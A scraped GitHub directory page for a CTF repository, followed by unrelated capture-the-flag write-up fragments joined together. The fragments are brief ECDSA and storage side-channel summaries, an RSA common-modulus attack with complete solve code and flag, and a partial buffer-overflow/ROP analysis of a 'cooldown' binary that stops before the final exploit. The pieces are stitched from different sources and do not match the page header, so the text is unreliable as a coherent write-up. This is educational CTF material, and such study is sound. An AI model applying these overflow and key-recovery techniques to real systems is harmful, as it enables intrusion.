accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":106407381,"originating_url":"https://github.com/Fineas/Me-CTF/tree/master/Writeups/22-CodeGate","user_id":null}}" data-hydro-click-hmac="95addd08bf11920422ade9af0e1602422bdbf155c966f32dd1f93f3b91354e37"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/Fineas/Me-CTF/refs" cache-key="v0:1626854094.879881" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RmluZWFzL01lLUNURg==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/Fineas/Me-CTF/refs" cache-key="v0:1626854094.879881" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="RmluZWFzL01lLUNURg==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>Me-CTF</span></span></span><span>/</span><span><span>Writeups</span></span><span>/</span>22-CodeGate<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>Me-CTF</span></span></span><span>/</span><span><span>Writeups</span></span><span>/</span>22-CodeGate<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/Fineas/Me-CTF/tree-commit/7696fe58ff3277b36a4205d8d5e68ebe6aabbeb8/Writeups/22-CodeGate" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/Fineas/Me-CTF/file-list/master/Writeups/22-CodeGate"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>file-v_exploit.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
The aim of the challenge is to forge a valid ECDSA signature for a given message, with the ability to ask for a single signature of another given message, but the private key is scaled by a factor we control. |
The flag is stored in a custom storage service. The service only adds new data to its disk if it is not already contained in it. We can abuse the exposed statistics to know if data has been written to disk. We can thus brute force the flag one byte at a time. |
We have a txt file with the following RSA values:```ptyhonn = '0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875' e = '0x3045' ct = '0x5d1e39bc751108ec0a1397d79e63c013d238915d13380ae649e84d7d85ebcffbbc35ebb18d2218ccbc5409290dfa8a4847e5923c3420e83b1a9d7aa67190dc0d34711cce261665c64c28ed2834394d4b181926febf7eb685f9ce81f36c7fb72798da3a14a123287171d26e084948aab0fba81c53f10b5696fc291006254ee690'
n2 = '0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875' e2 = '0xff4d' ct2 = '0x3d90f2bec4fe02d8ce4cece3ddb6baed99337f7e6856eef255445741b5cfe378390f058679d70236e51be4746db4c207f274c40b092e24f8c155a0957867e84dca48e27980af488d2615a280c6eadec2f1d30b95653b1ee3135e2edff100dd2c529994f846722f811348b082d0bec7cfab579a4bd0ab789928b1bebed68d628f'```Both n's are the same, but the cipher texts and e's are different.
Thanks to [this page](https://bitsdeep.com/posts/attacking-rsa-for-fun-and-ctf-points-part-1/) and [this page](https://codeforgeweb.wordpress.com/2018/11/20/square-ctf-2018-c2-flipping-bits/) i could come up with a solution, this attack is known as common modulus attack.
We can recover the flag following the [Bézout’s identity](https://en.wikipedia.org/wiki/B%C3%A9zout%27s_identity) which states:```There exist integers or polynomials x and y such that ax + by = d```Where **a** and **b** are **our e's**, and **d** is the **gcd** of both e's (in the case of my implementation x is u and y is v). We can get these numbers using the extended euclidean algorithm, so i used [this implementation](https://www.techiedelight.com/extended-euclidean-algorithm-implementation/).```pythondef extended_gcd(a, b): if a == 0: return b, 0, 1 else: gcd, x, y = extended_gcd(b % a, a) return gcd, y - (b // a) * x, x```
We get that **u = 9240** and **v = -1747**, since v is negative we need to compute the inverse of the second ciphertext.```pythonct2_inv = (inverse(ct2, n))```And to get the message we need to perform the following operation:```pythonm = (pow(ct, u, n) * pow(ct2_inv, -v, n)) % n```Full python code ```pythonfrom Crypto.Util.number import getPrime, inverse, bytes_to_long, long_to_bytes, GCDfrom ast import literal_eval
def extended_gcd(a, b): if a == 0: return b, 0, 1 else: gcd, x, y = extended_gcd(b % a, a) return gcd, y - (b // a) * x, x
n = '0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875' e = '0x3045' ct = '0x5d1e39bc751108ec0a1397d79e63c013d238915d13380ae649e84d7d85ebcffbbc35ebb18d2218ccbc5409290dfa8a4847e5923c3420e83b1a9d7aa67190dc0d34711cce261665c64c28ed2834394d4b181926febf7eb685f9ce81f36c7fb72798da3a14a123287171d26e084948aab0fba81c53f10b5696fc291006254ee690'
n2 = '0xa6241c28743fbbe4f2f67cee7121497f622fd81947af30f327fb028445b39c2d517ba7fdcb5f6ac9e6217205f8ec9576bdec7a0faef221c29291c784eed393cd95eb0d358d2a1a35dbff05d6fa0cc597f672dcfbeecbb14bd1462cb6ba4f465f30f22e595c36e6282c3e426831d30f0479ee18b870ab658a54571774d25d6875' e2 = '0xff4d' ct2 = '0x3d90f2bec4fe02d8ce4cece3ddb6baed99337f7e6856eef255445741b5cfe378390f058679d70236e51be4746db4c207f274c40b092e24f8c155a0957867e84dca48e27980af488d2615a280c6eadec2f1d30b95653b1ee3135e2edff100dd2c529994f846722f811348b082d0bec7cfab579a4bd0ab789928b1bebed68d628f'
n = (literal_eval(n))e = (literal_eval(e))e2 = (literal_eval(e2))ct = (literal_eval(ct))ct2 = literal_eval(ct2)gdc, u,v = extended_gcd(e,e2)ct2_inv = (inverse(ct2, n))m = (pow(ct, u, n) * pow(ct2_inv, -v, n)) % nprint(long_to_bytes(m))``````shell❯ python solve.pyb'1337UP{c0mm0n_m0dulu5_4774ck_15_n07_50_c0mm0n}'``` |
# Hayyim CTF 2022
## warmup
> What a tiny program!>> `nc 141.164.48.191 10001`>> [`Warmup_2eba252bc81213a4a232487f6d2ceeeb5dbbd5ace12641e4d8af82dc56104ff5.tgz`](Warmup_2eba252bc81213a4a232487f6d2ceeeb5dbbd5ace12641e4d8af82dc56104ff5.tgz)
## cooldown
> input size has decreased.>> `nc 141.164.48.191 10005`>> [`Cooldown_b6e153efcb71172289fc860c0bf9af90f63ec80b72f0644370a43d6a47aabff4.tgz`](Cooldown_b6e153efcb71172289fc860c0bf9af90f63ec80b72f0644370a43d6a47aabff4.tgz)
Tags: _pwn_ _x86-64_ _rop_ _bof_
## Summary
Warmup and cooldown are exactly the same problem only differing by size of input buffer. I used the exact same code on both, so I'll only cover cooldown.
In short, use `write` to leak libc, then on second pass get a shell.
## Analysis
### Checksec
``` Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
No PIE will make it easy to call GOT functions and ROP, however Full RELRO will prevent modifying the GOT. No canary, well, this _is_ a BOF/ROP challenge.
### Decompile with Ghidra
```cvoid FUN_0040053d(void){ long lVar1; undefined4 *puVar2; undefined4 auStack56 [12]; puVar2 = auStack56; for (lVar1 = 0xc; lVar1 != 0; lVar1 = lVar1 + -1) { *puVar2 = 0; puVar2 = puVar2 + 1; } write(1,&DAT_0040057e,2); read(0,auStack56,0x60); return;}```
`read(0,auStack56,0x60)` will `read` up to `0x60` (96) bytes into a buffer only `56` (`auStack56`) bytes from the return address--there's your problem. This gives us 40 bytes to craft an exploit--we only need 24.
`FUN_0040053d` (above) is our vulnerable function and is called by `entry`:
```cvoid entry(void){ FUN_004004f9(); FUN_0040053d(); exit(0);}```
From the `entry` disassembly you can see that after the call to `FUN_0040053d` we'll return to `0x4004f2`:
```assemblyundefined entry()
004004e0 48 83 ec 08 SUB RSP,0x8004004e4 31 c0 XOR EAX,EAX004004e6 e8 0e 00 CALL FUN_004004f9 00 00004004eb 31 c0 XOR EAX,EAX004004ed e8 4b 00 CALL FUN_0040053d 00 00004004f2 31 ff XOR EDI,EDI004004f4 e8 d7 ff CALL <EXTERNAL>::exit ff ff```
If you set a break point after `read(0,auStack56,0x60);`, you'll see that same return address on the stack and below that an address we're going to leak to get the location of libc:
```0x00007fffffffe408│+0x0000: 0x0000000a68616c62 ("blah\n"?) ← $rbx, $rsp, $rsi0x00007fffffffe410│+0x0008: 0x00000000000000000x00007fffffffe418│+0x0010: 0x00000000000000000x00007fffffffe420│+0x0018: 0x00000000000000000x00007fffffffe428│+0x0020: 0x00000000000000000x00007fffffffe430│+0x0028: 0x00000000000000000x00007fffffffe438│+0x0030: 0x00000000000000000x00007fffffffe440│+0x0038: 0x00000000004004f2 → xor edi, edi0x00007fffffffe448│+0x0040: 0x00007ffff7dd40ca → <_dl_start_user+50> lea rdx, [rip+0xfa6f] # 0x7ffff7de3b40 <_dl_fini>```
That location has a side benefit, it will jump back to `entry`:
```gef➤ x/3i _dl_start_user+50 0x7ffff7dd40ca <_dl_start_user+50>: lea rdx,[rip+0xfa6f] # 0x7ffff7de3b40 <_dl_fini> 0x7ffff7dd40d1 <_dl_start_user+57>: mov rsp,r13 0x7ffff7dd40d4 <_dl_start_user+60>: jmp r12 gef➤ p $r12$1 = 0x4004e0```
So we get a free roundtrip, to leak this we simply need to overwrite the return address (and nothing else) with `binary.plt.write`.
